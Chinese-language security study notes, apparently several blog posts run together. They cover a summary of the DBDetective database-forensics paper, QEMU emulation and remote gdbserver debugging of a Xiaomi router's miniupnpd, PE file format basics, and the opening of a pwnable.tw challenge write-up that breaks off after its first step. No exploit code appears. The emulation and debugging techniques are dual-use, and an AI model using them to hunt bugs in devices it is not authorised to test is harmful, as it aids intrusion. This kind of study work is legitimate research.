拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取

逻辑分析仪

复原数据库存储以检测和跟踪安全漏洞
原文下载

Motivation

DBMS(数据库管理系统)

• 通常用于存储和处理敏感数据，因此，投入了大量精力使用访问控制策略来保护DBMS。
• 一旦用户在DBMS中获得提升权限（无论是合理的还是通过攻击的），实施的安全方案可以绕过，因此无法再根据政策保证数据受到保护。
  1）访问控制策略可能不完整，允许用户执行他们不能执行的命令
  2）用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限
• 部署预防措施
  1）在及时发生安全漏洞时检测安全漏洞;
  2）在检测到攻击时收集有关攻击的证据，以便设计对抗措施并评估损害程度

例子

Malice是政府机构的数据库管理员，为公民提供犯罪记录。 Malice最近被判犯有欺诈罪，并决定滥用她的特权，并通过运行DELETE FROM Record WHERE name = ‘Malice’来删除她的犯罪记录。
但是，她知道数据库操作需要定期审核，以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作，Malice在运行DELETE操作之前停用审计日志，然后再次激活日志。因此，在数据库中没有她的非法操纵的日志跟踪。
但是，磁盘上的数据库存储仍将包含已删除行的证据。
作者的方法检测已删除的痕迹和过期的记录版本，并将它们与审核日志进行匹配，以检测此类攻击，并提供数据库操作方式的证据。
作者将检测已删除的行，因为它与审计日志中的任何操作都不对应，我们会将其标记为篡改的潜在证据。

思路一览

提出方法

使用称为DICE的现有取证工具（Wagner等，2017）来重建数据库存储
通过匹配提取的存储条目，报告任何无法通过操作记录解释的工件来自动检测潜在的攻击

1. DBDetective检查数据库存储和RAM快照，并将它找到的内容与审计日志进行比较
2. 然后，在不影响数据库操作的情况下，对核心数据进行分析。
   

确定数据库篡改的可能性，并指出数据库存储中发现的具体不一致性。
由于数据库存储的易变性，无法保证将发现所有攻击。
在对于我们评估的每个主要DBMS，我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。
我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令：

• 停用审计策略并暂时挂起日志记录
• 更改现有审计日志（两者都在数据库日志可靠性部分中讨论）。
  通过将取证分析技术应用于数据库存储或缓冲区缓存，并将发现的证据与审计日志相匹配，可以：
• 检测DBMS审核日志中未显示的多种类型的数据库访问和操作。
• 将未归因的记录修改分类为模糊的INSERT，DELETE或UPDATE命令。
• 检测无法从审核日志中的活动派生的（只读）SELECT查询中的缓存数据。

Reliability of database logs

攻击者可以更改两种类型的日志： write-ahead logs (WAL) and audit logs (event history records)

• WALs以低级别记录数据库修改以支持ACID保证，提供最近表修改的历史记录。
  通常无法禁用或轻松修改WAL，并且需要读取专用工具（例如，Oracle LogMiner或PostgreSQL pg_xlogdump）。
  某些DBMS允许为特定操作禁用WAL，例如批量加载或结构重建。因此，可以通过此功能插入记录而不留下日志跟踪。
• audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此，管理员可以根据需要禁用日志记录或修改单个日志记录。
  

Detecting hidden record modifications

插入或修改表记录时，数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外，页面元数据会更新（例如，设置删除标记），并且存储记录的索引的页面会改变（例如，以反映记录的删除）。 如果尚未缓存，则每个访问的页面都将被带入RAM。 行标识符和结构标识符可用于将所有这些更改绑定在一起。
此外，DBA（数据库管理员）还可以禁用批量修改的日志记录（出于性能考虑）——可以利用此权限来隐藏恶意修改。
在本节中，我们将描述如何检测已修改记录与已记录命令之间的不一致。

Deleted records

1. 算法
   删除的记录不会被物理删除，而是在页面中标记为“已删除”; 已删除行占用的存储空间将成为未分配的空间，最终将被新行覆盖。这些对数据库存储的更改不能被绕过或控制。
   识别存储中与日志中的任何删除操作都不匹配的已删除行。
   
2. 实例

• DICE从Customer表重建了三个删除的行
  （1，Christine，Chicago）
  （3，Christopher，Seattle）
  （4，Thomas，Austin）
• 日志文件包含两个操作
  在算法1中，DeletedRows被设置为三个重建的已删除行。
  算法1返回（4，Thomas，Austin），表示该删除的记录不能归因于任何删除。
  

Inserted records

1. 算法
   新插入的行将附加到表的最后一页的末尾（如果最后一页已满，则为新页）或覆盖由先前删除的行创建的可用空间。
   如果“活跃”新表行与审核日志中的任何插入操作都不匹配，则此行是可疑活动的标志。
   算法2中使用这些“活跃”记录来确定重构行是否可归因于审计日志中的插入。
   
2. 实例

• 该日志包含六个操作。
  当行从T1插入到T4时，它们将附加到表的末尾。
  在T5，删除（3，Lamp）
  然后在T6插入（5，Bookcase）。
  由于row（5，Bookcase）大于删除的行（3，Lamp），因此它将附加到表的末尾。
• DICE重建了五个活动记录
  包括（0，Dog）和（2，Monkey）
  行被初始化为算法2的五个重建活动行
  算法2因此返回（0，Dog）和（2，Monkey）
  因为这些记录无法与记录的插入匹配。
  

Updated records

1. 算法
   UPDATE操作本质上是一个DELETE操作，后跟一个INSERT操作。
   为了考虑更新的行，我们使用算法1返回的未标记删除行和算法2返回的未标记插入行作为算法3的输入。如果删除的行可以与更新的WHERE子句匹配，那么此删除的行操作 被标记为存在于日志中。 接下来，如果未标记的插入行可以与SET子句中的值匹配，并且插入的行匹配已删除行中除SET子句值之外的所有值，则此插入的行操作将出现在日志中。
   
2. 实例
   算法1返回行（2，Desk）
   算法2返回行（0，Dog）和（2，Monkey）
   使用这些记录集，算法3返回（2，Desk）作为已删除记录的列表，并将（0，Dog）和（2，Monkey）作为插入记录的列表。
   此外，算法3识别（2，Desk）和（2，Monkey）中第一列的共享值2。 虽然这不能单独确认UPDATE操作，但可以合理地得出结论：
   （2，Desk）已更新为（2，Monkey）。
   

Detecting inconsistencies for read-only queries

DBMS使用称为缓冲区管理器的组件将页面从磁盘缓存到内存中。数据以页为单位读入缓冲池，可以通过DICE重建。
在本节中，将描述如何将缓冲池中的工件与审计日志中的只读查询进行匹配。
数据库查询可以使用两种可能的访问表的方式之一：
全表扫描（FTS）或索引扫描（IS）。
FTS读取所有表页，而IS使用索引结构来检索引用基于搜索关键字的指针列表。

Full table scan

当查询使用FTS时，只会缓存大表的一小部分。 可以完整地缓存小表（相对于缓冲池大小）。 每个数据库都在页眉中存储唯一的页面标识符，这使我们能够有效地将缓存的页面与磁盘上的对应页面进行匹配。
我们可以通过SID=131识别属于Employee的页面，该SID=131存储在页面标题中。 DICE只能以更快的速度返回页面结构标识符（无需解析页面内容）。
Q2和Q4都通过FTS访问员工。 每次扫描Employee表时，表中相同的四个页面（PID：97,98,99和100）都会加载到缓冲池中。
因此，当在存储器中找到具有PID:97,98,99和100以及SID:131的四个页面时，可以假设FTS应用在Employee表上。

Index access

Customer表的SID=124，C_City列上的二级索引的SID=126.
Q1在城市Dallas上进行过滤，并使用PID=2缓存索引页。此页面的最小值为Chicago和最大值为Detroit 。
Q3在城市Jackson上过滤，并缓存索引页面，页面标识符为4.此页面的最小值为Houston，最大值为Lincoln。
如果审核日志中的查询过滤了索引页的最小值和最大值范围内的值，则该页可以归因于该查询。

Conclusions and future work

• 审计日志和其他内置DBMS安全机制旨在检测或阻止攻击者执行的恶意操作。这种机制的固有缺点是具有足够权限的攻击者可以绕过它们来隐藏它们的踪迹。
• 我们提供并全面评估DBDetective，它可以检测攻击者通过从审计日志中删除从而隐藏的数据库操作，并收集有关攻击者访问和修改哪些数据的证据。
• 我们的方法依赖于对数据库存储的取证检查，并将此信息与审核日志中的条目相关联，以发现恶意操作的证据。
• 重要的是，数据库存储几乎不可能被欺骗，因此，与例如审计日志相比，它是更可靠的篡改证据来源。
• 鉴于存储快照提供的信息不完整，我们将探索概率匹配，确定存储工件由审计日志中的操作引起的可能性，根据操作的时间顺序利用其他约束，模拟审计中SQL命令的部分历史记录获得更精确的匹配，并根据检测到的异常动态调整拍摄快照的频率。

在分析嵌入式设备的固件时，只采用静态分析方式通常是不够的，你需要实际执行你的分析目标来观察它的行为。在嵌入式Linux设备的世界里，很容易把一个调试器放在目标硬件上进行调试。如果你能在自己的系统上运行二进制文件，而不是拖着硬件做分析, 将会方便很多，这就需要用QEMU进行仿真。
虽然QEMU在模拟核心芯片组包括CPU上都做的很不错，但是QEMU往往不能提供你想运行的二进制程序需要的硬件。最常见问题是在运行系统服务，如Web服务器或UPnP守护进程时，缺乏NVRAM。解决方法是使用nvram-faker库拦截由libnvram.so提供的nvram_get()调用。即使解决了NVRAM问题，该程序还可能会假设某些硬件是存在的，如果硬件不存在，该程序可能无法运行，或者即便它运行了，行为可能也与在其目标硬件上运行时有所不同。针对这种情况下，我认为有三种解决方法：

1. 修补二进制文件。这取决于期望什么硬件，以及它不存在时的行为是什么。
2. 把复杂的依赖于硬件的系统服务拆分成小的二级制文件。如跳过运行Web服务器，仅仅从shell脚本运行cgi二进制文件。因为大多数cgi二进制文件将来自Web服务器的输入作为标准输入和环境变量的组合，并通过标准输出将响应发送到Web服务器。
3. 拿到设备的shell，直接在真机上进行调试，这是最接近真实状况的方法。

REF

综合：
国外大神的博客
通过QEMU和IDAPro远程调试设备固件
MIPS漏洞调试环境安装及栈溢出
环境搭建onCTFWIKI
路由器漏洞训练平台
路由器0day漏洞挖掘实战
逆向常用工具

环境搭建：
路由器漏洞挖掘测试环境的搭建之问题总结

Linux相关知识
qcow2、raw、vmdk等镜像格式
Linux 引导过程内幕
Linux启动过程

调试案例
CVE-2019-10999复现
《家用路由器0day漏洞挖掘》部分案例
TP-LINK WR941N路由器研究

0x01 基础条件

• 一系列的工具，包括：
  binwalk 帮助你解包固件
  buildroot mips交叉编译环境帮助你在x86平台下编译mips架构的目标程序 https://xz.aliyun.com/t/2505#toc-6
  qemu 帮助你模拟mips环境
  MIPS gdbinit 文件使得使用gdb调试mips程序时更方便 https://github.com/zcutlip/gdbinit-mips
  miranda工具 用于UPnP分析 https://code.google.com/p/miranda-upnp/
  MIPS静态汇编审计 辅助脚本 https://github.com/giantbranch/mipsAudit
  静态编译的gdbserver https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

• 一个mips Linux环境：
  在qemu系统模式下，需要模拟整个计算机系统

0x02 qemu-用户模式

在user mode下使用qemu执行程序有两种情况，一是目标程序为静态链接，那么可以直接使用qemu。另一种是目标程序依赖于动态链接库，这时候就需要我们来指明库的位置，否则目标程序回到系统/lib文件下寻找共享库文件。
在 《揭秘家用路由器0day》 这本书里面，他给出的方法是：

$ cp $(which qemu-mipsel) ./
$ sudo chroot . ./qemu-mipsel ./usr/sbin/miniupnpd

他把qemu-mipsel复制到固件文件目录下，然后chroot命令改变qemu执行的根目录到当前目录，按理说此时应该可以找到依赖库,但是结果却是chroot: failed to run command ‘./qemu-mipsel’: No such file or directory

在网上找到了解决方法：需要安装使用 qemu-mips-static 才可以

$ apt-get install qemu binfmt-support qemu-user-static
$ cp $(which qemu-mipsel-static ) ./
$ sudo chroot . ./qemu-mipsel-static ./usr/sbin/miniupnpd

这里还可利用-E用来设置环境变量，LD_PRELOAD "./lib"用来劫持系统调用，另外还有-g开启调试模式

除此之外，也在CTF-WIKI上找到了另一种方法：使用 qemu-mips 的 -L 参数指定路由器的根目录

$ qemu-mipsel -L . ./usr/sbin/miniupnpd

模拟miniupnp

由于没有指定参数，所以这里miniupnpd只把usage和notes打印给我们了：

Usage:
	./usr/sbin/miniupnpd [-f config_file] [-i ext_ifname] [-o ext_ip]
		[-a listening_ip] [-p port] [-d] [-U] [-S] [-N]
		[-u uuid] [-s serial] [-m model_number]
		[-t notify_interval] [-P pid_filename]
		[-B down up] [-w url] [-r clean_ruleset_interval]
		[-A "permission rule"] [-b BOOTID]

Notes:
	There can be one or several listening_ips.
	Notify interval is in seconds. Default is 30 seconds.
	Default pid file is '/var/run/miniupnpd.pid'.
	Default config file is '/etc/miniupnpd.conf'.
	With -d miniupnpd will run as a standard program.
	-S sets "secure" mode : clients can only add mappings to their own ip
	-U causes miniupnpd to report system uptime instead of daemon uptime.
	-N enables NAT-PMP functionality.
	-B sets bitrates reported by daemon in bits per second.
	-w sets the presentation url. Default is http address on port 80
	-A use following syntax for permission rules :
	  (allow|deny) (external port range) ip/mask (internal port range)
	examples :
	  "allow 1024-65535 192.168.1.0/24 1024-65535"
	  "deny 0-65535 0.0.0.0/0 0-65535"
	-b sets the value of BOOTID.UPNP.ORG SSDP header
	-h prints this help and quits.

根据miniupnpd的启动文件/etc/init.d/miniupnpd，小米使用了启动脚本来配置service_start /usr/sbin/miniupnpd -f conffile -d
其配置文件connfile如下所示：

ext_ifname=eth0.2
listening_ip=br-lan
port=5351
enable_natpmp=yes
enable_upnp=yes
secure_mode=no
system_uptime=yes
lease_file=/tmp/upnp.leases
bitrate_down=8388608
bitrate_up=4194304
uuid=e1f3a0ec-d9d4-4317-a14b-130cdd18d092
allow 1024-65535 0.0.0.0/0 1024-65535
deny 0-65535 0.0.0.0/0 0-65535

• 可见因路由器的特殊性，具有两张网卡(eth0.2&br-lan)，暂时我还没想出应该怎么解决，是否采用qemu虚拟机配置网络可以解决呢？反正我采用下面这种粗暴的方式是不可以的(直接指定配置文件)

  $ sudo qemu-mipsel -L . ./usr/sbin/miniupnpd -f ../../MiniUPnP/miniupnpd.conf -d miniupnpd[7687]: system uptime is 5652 seconds miniupnpd[7687]: iptc_init() failed : iptables who? (do you need to insmod?) miniupnpd[7687]: Failed to init redirection engine. EXITING

0x03 qemu-系统模式

系统模式命令格式：$qemu system-mips [option][disk_image]

MIPS系统网络配置

下载mips系统内核和虚拟机镜像 https://people.debian.org/~aurel32/qemu/

To use this image, you need to install QEMU 1.1.0 (or later). Start QEMU
with the following arguments for a 32-bit machine:
  - qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"
  - qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

1. 安装依赖文件apt-get install uml-utilities bridge-utils

2. 修改主机网络配置

auto lo
iface lo inet loopback

auto ens33
iface eth0 inet dhcp

#auto br0
iface br0 inet dhcp
  bridge_ports ens33
  bridge_maxwait 0

3. 修改qemu网络接口启动脚本

$ sudo vim /etc/qemu-ifup  
$ sudo chmod a+x /etc/qemu-ifup
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3

$ sudo /etc/init.d/networking restart

4. qemu启动配置

$ sudo ifdown ens33
$ sudo ifup br0

5. 启动mips虚拟机
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic

我自闭了，ubuntu18根本没法联网，于是我用了ubuntu14.0

0x04 在mips虚拟机中调试

现在通过上面的配置我得到了这样一台虚拟机，并通过ssh连接上去。

root@debian-mipsel:/home/user/mi_wifi_r3_112# ifconfig
eth1      Link encap:Ethernet  HWaddr 00:16:3e:00:00:01
          inet addr:192.168.31.246  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::216:3eff:fe00:1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:89377 errors:75 dropped:360 overruns:0 frame:0
          TX packets:9114 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:103978997 (99.1 MiB)  TX bytes:924287 (902.6 KiB)
          Interrupt:10 Base address:0x1020

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:560 (560.0 B)  TX bytes:560 (560.0 B)

已经把我的小米固件全部上传到这个虚拟机中

root@debian-mipsel:/home/user/mi_wifi_r3_112# ls
bin  data  dev  etc  extdisks  lib  libnvram-faker.so  mnt  opt  overlay  proc  qemu-mipsel-static  readonly  rom  root  sbin  sys  tmp  userdisk  usr  var  www

和用户模式一样，还是使用chroot，因为目标二进制是和固件的库链接的，很可能不能跟Debian的共享库一起工作。

root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . ./usr/sbin/miniupnpd
Usage:
        ./usr/sbin/miniupnpd [-f config_file] [-i ext_ifname] [-o ext_ip]
                [-a listening_ip] [-p port] [-d] [-U] [-S] [-N]
                [-u uuid] [-s serial] [-m model_number]
                [-t notify_interval] [-P pid_filename]
                [-B down up] [-w url] [-r clean_ruleset_interval]
                [-A "permission rule"] [-b BOOTID]

Notes:
        There can be one or several listening_ips.
        Notify interval is in seconds. Default is 30 seconds.
        Default pid file is '/var/run/miniupnpd.pid'.
        Default config file is '/etc/miniupnpd.conf'.
        With -d miniupnpd will run as a standard program.
        -S sets "secure" mode : clients can only add mappings to their own ip
        -U causes miniupnpd to report system uptime instead of daemon uptime.
        -N enables NAT-PMP functionality.
        -B sets bitrates reported by daemon in bits per second.
        -w sets the presentation url. Default is http address on port 80
        -A use following syntax for permission rules :
          (allow|deny) (external port range) ip/mask (internal port range)
        examples :
          "allow 1024-65535 192.168.1.0/24 1024-65535"
          "deny 0-65535 0.0.0.0/0 0-65535"
        -b sets the value of BOOTID.UPNP.ORG SSDP header
        -h prints this help and quits.

直接运行起来，还是只打印出usage，这里我注意到之前忽视的地方Default config file is '/etc/miniupnpd.conf'.，所以我不再使用-f参数来指定，而是把配置文件放在默认目录下，在小米路由器里，ext_ifname是外部ip，listening_ip是内部ip。但是我这里还没有开启两个，所以都赋值为一张网卡。

ext_ifname=eth1
listening_ip=eth1
port=5351
enable_natpmp=yes
enable_upnp=yes
secure_mode=no
system_uptime=yes
lease_file=/tmp/upnp.leases
bitrate_down=8388608
bitrate_up=4194304
uuid=e1f3a0ec-d9d4-4317-a14b-130cdd18d092
allow 1024-65535 0.0.0.0/0 1024-65535
deny 0-65535 0.0.0.0/0 0-65535

在这个配置下，运行miniupnp还是被告知daemon(): No such file or directory

root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . ./usr/sbin/miniupnpd
root@debian-mipsel:/home/user/mi_wifi_r3_112# daemon(): No such file or directory

我起初猜测是因为缺乏NVRAM

在运行系统服务，如Web服务器或UPnP守护进程时，缺乏NVRAM。非易失性RAM通常是包含配置参数的设备快速存储器的一个分区。当一个守护进程启动时，它通常会尝试查询NVRAM，获取其运行时配置信息。有时一个守护进程会查询NVRAM的几十甚至上百个参数。

于是我运行二进制程序时，使用LD_PRELOAD对nvram-faker库进行预加载。它会拦截通常由libnvram.so提供的nvram_get()调用。nvram-faker会查询你提供的一个INI风格的配置文件，而不是试图查询NVRAM。
这里有一个链接：https://github.com/zcutlip/nvram-faker

root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . /bin/sh -c "LD_PRELOAD=/libnvram-faker.so /usr/sbin/miniupnpd"
root@debian-mipsel:/home/user/mi_wifi_r3_112# daemon(): No such file or directory

问题依然存在，daemon是在miniupnpd中常出现的词，猜测，会不会某些函数没有实现？这部分会比较麻烦，需要反汇编。
但是，我们不是可以拿到路由器的shell吗！干嘛还要用qemu模拟再调试，直接上真机！

0x05 设备上调试程序

1、有shell权限
2、有静态编译的gdbserver或者gdb

只要满足上面两个条件，我们就可以通过在路由器上运行gdbserver_mipsle --attach 0.0.0.0:port PID 以及 在你的电脑上使用 gdb-multiarch 进行调试(先指定架构，然后使用remote功能)轻松地调试设备上地mips程序。

pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234

能根据固件中的bin得知这是一个小端mips指令集的设备，gdbserver也不用自己编译，直接下载编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
把gdbserver.mipsbe通过tftp上传到路由器的/tmp目录下，然后找到目标程序PID：

root@XiaoQiang:/# ps |grep miniupnp
12517 root      1772 S    grep miniupnp
28284 root      1496 S    /usr/sbin/miniupnpd -f /var/etc/miniupnpd.conf

gdbserver attach这个进程，就可以通过gdb或者IDA远程调试这个程序

PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件（如exe和dll）都是典型的PE文件。PE文件格式其实是一种数据结构，包含Windows操作系统加载管理可执行代码时所必要的信息，如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。在程序被执行时，操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源，并分别装入内存的不同区域。
PE文件格式把可执行文件分成若干个数据节（section），不同资源被存放在不同的节中，一个典型的PE文件中包含的节如下：

• .text 由编译器产生，存放着二进制的机器代码，也是反汇编和调试的对象
• .data 初始化的数据块，如宏定义、全局变量、静态变量等
• .idata 可执行文件所使用的动态链接库等外来函数与文件信息
• .rsrc 存放程序的资源，如图标、菜单等
  除此之外，还有可能有.reloc,.edata,.tls,.rdata

0x01 PE文件与虚拟内存之间的映射

虚拟内存

Windows的内存可以被分为两个层面：物理内存和虚拟内存。其中，物理内存比较复杂，需要进入Windows内核级别ring0才能看到。通常，在用户模式下，我们用调试器看到的都是虚拟内存。
如果我们把这看成银行，那么就很好理解了。

• 进程相当于储户
• 内存管理器相当于银行
• 物理内存相当于钞票
• 虚拟内存相当于存款

映射关系

1. 在漏洞挖掘中,经常需要的两种操作：

• 静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的，就是所谓的 文件偏移 ，我们可能还需要知道这条指令在内存中的位置，这个位置就是虚拟内存地址(VA)
• 反过来，在调试时看到的某条指令的地址是 虚拟内存地址（VA），也就是我们需要回到PE文件中找到这条指令对应的机器码

2. 几个重要概念

• 文件偏移地址(File Offset)：
  数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。
• 装载基址(Image Base):
  PE装入内存时的基地址。默认情况下，EXE文件在内存中对应的基地址是0x00400000,DLL文件是0x10000000。这些位置可能通过编译选项修改
• 虚拟内存地址(Virtual Address,VA )：
  PE文件中的指令装入内存后的地址。
• 相对虚拟地址(Relative Virtual Address, RVA)：
  相对虚拟地址是内存地址相对于映射基址的偏移量。

3. 虚拟内存地址，装载基址，相对虚拟内存地址三者之间的关系:

   VA = Image Base + RVA

4. 文件偏移地址与相对虚拟地址：
   文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构，所以文件偏移地址和RVA有很大的一致性。（不是全部相同）
   PE文件中的数据按照磁盘数据标准存放，以0x200为基本单位进行组织。当一个数据节(stction)不足0x200字节时，不足的地方将用0x00填充，当一个数据节超过0x200时，下一个0x200块将分配给这个节使用。所以PE数据节大小永远是0x200的整数倍
   当代码装入后，将按照内存数据标准存放，并以0x1000字节为基本的存储单位进行组织，不足和超过的情况类似上面。因此，内存中的节总是0x1000的整倍数。
   由于内存中数据节相对于装载基址的偏移量和文件中数据节的偏移量有上述差异，所以进行文件偏移到内存地址之间的换算时，还要看所转换的地址位于第几个节内:

   文件偏移地址 = 虚拟内存地址(VA) - 装载基址(Image Base) - 节偏移
   ​ = RVA - 节偏移

5. 工具
   LordPE DLX增强版(2017..6.08)
   Resource Hacker 3.4.0
   PE viewer

0x02 链接库与函数

对于一个可执行程序，可以收集到最有用的信息就是导入表。导入函数是程序所使用的但存储在另一程序中的那些函数。通过导入函数连接，使得不必重新在多个程序中重复实现特定功能。

1. 静态链接、运行时链接与动态链接。
   静态链接：当一个库被静态链接到可执行程序时，所有这个库中的代码都会被复制到可执行程序中，这使得可执行程序增大许多，而且在分析代码时，很难区分静态链接的代码和自身代码。
   运行时链接：在恶意代码中常用（加壳或混淆时），只有当需要使用函数时，才链接到库。
   动态链接：当代码被动态链接时，宿主操作系统会在程序装载时搜索所需代码库，如果程序调用了被链接的库函数，这个函数会在代码库中执行。
   LoadLibrary和GetProcAddress允许一个程序访问系统上任何库中的函数，因此当它们被使用时，无法静态分析出程序会链接哪些函数。
   PE文件头存储了每个将被装载的库文件，以及每个会被程序使用的函数信息。
2. 工具Dependency Walker
   Dependency Walker

3. 常见dll程序
   kernel32.dll
   kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件，属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域。
   user32.dll
   user32.dll是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息。
   在早期32-bit 版本的Windows中，用户控件是在ComCtl32中实现的，但是一些控件的显示功能是在User32.dll中实现的。例如在一个窗口中非客户区域（边框和菜单）的绘制就是由User32.dll来完成的。User32.dll 是操作系统的一个核心控件，它和操作系统是紧密联系在一起的。也就是说，不同版本的Windows中User32.dll 是不同。因此，应用程序在不同版本的Windows中运行的时候，由于User32.dll的不同，会导致应用程序的界面通常会有微小的不同。
   gdi32.dll
   gdi32.dll是Windows GDI图形用户界面相关程序，包含的函数用来绘制图像和显示文字
   comdlg32.dll
   comdlg32.dll是Windows应用程序公用对话框模块，用于例如打开文件对话框。
   advapi32.dll
   advapi32.dll是一个高级API应用程序接口服务库的一部分，包含的函数与对象的安全性，注册表的操控以及事件日志有关。
   shell32.dll
   shell32.dll是Windows的32位外壳动态链接库文件，用于打开网页和文件，建立文件时的默认文件名的设置等大量功能。
   严格来讲，它只是代码的合集，真正执行这些功能的是操作系统的相关程序，dll文件只是根据设置调用这些程序的相关功能罢了。
   ole32.dll
   ole32.dll是对象链接和嵌入相关模块。
   odbc32.dll
   odbc32.dll是ODBC数据库查询相关文件。

4. 导入函数与导出函数
   导入函数和导出函数都是用来和其他程序和代码进行交互时使用的，通常一个DLL会实现一个或多个功能函数，然后将他们导出，使得别的程序可以导入并使用这些函数，导出函数在DLL文件中是最常见的。

0x03 PE文件的结构

1. DOS程序头(4H字节)
   包括MZ文件头和DOS插桩程序。MZ文件头开始两个字节为4D5A。
2. NT映像头(14H字节)
   存放PE整个文件信息分布的重要字段。包括：

• 签名（signature）：值为’50450000h’，字串为’PE\0\0’，可以在DOS程序头的3CH处的四个字节找到该字串的偏移位置
• 映像文件头（FileHeader）：是映像头的主要部分，包含PE文件最基本的信息。结构体为：

  typedef struct _IMAGE_FILE_HEADER { WORD Machine; //运行平台 WORD NumberOfSections; //节(section)数目 DWORD TimeDateStamp; //时间日期标记 DWORD PointerToSymbolTable; //COFF符号指针，这是程序调试信息 DWORD NumberOfSymbols; //符号数 WORD SizeOfOptionalHeader; //可选部首长度，是IMAGE_OPTIONAL_HEADER的长度 WORD Characteristics; //文件属性 }

3. 可选映像头(OptionalHeader)
   包含PE文件的逻辑分布信息，共有13个域。具体结构为：

   typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; //代表的是文件的格式 BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; //保存着EP的RVA。也就是最先执行代码起始地址。 DWORD BaseOfCode; //表示代码段起始RVA先看他的值，是1000 DWORD BaseOfData; DWORD ImageBase; //默认装入基地址 DWORD SectionAlignment; //节区在内存中的最下单位 DWORD FileAlignment; //节区在磁盘中的最小单位 WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; //装入内存后的总尺寸 DWORD SizeOfHeaders; //头尺寸=NT映像头+节表 DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

4. 节表
   实际上是一个结构数组，其中每个结构包含了一个节的具体信息（每个结构占用28H字节）

   typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; //该节的实际字节数 } Misc; DWORD VirtualAddress; //本节的相对虚拟地址 DWORD SizeOfRawData; //对齐后的节尺寸 DWORD PointerToRawData; //本节在文件中的地址 DWORD PointerToRelocations; //本节调入内存后的存放位置 DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; //节的属性 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

5. 节

• 引入函数节(.rdata/.idata)

  typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real datetime stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR;

• 一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR
  

程序链接：https://pwnable.tw/static/chall/start

0x01 检查保护情况

不得不说，checksec这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。
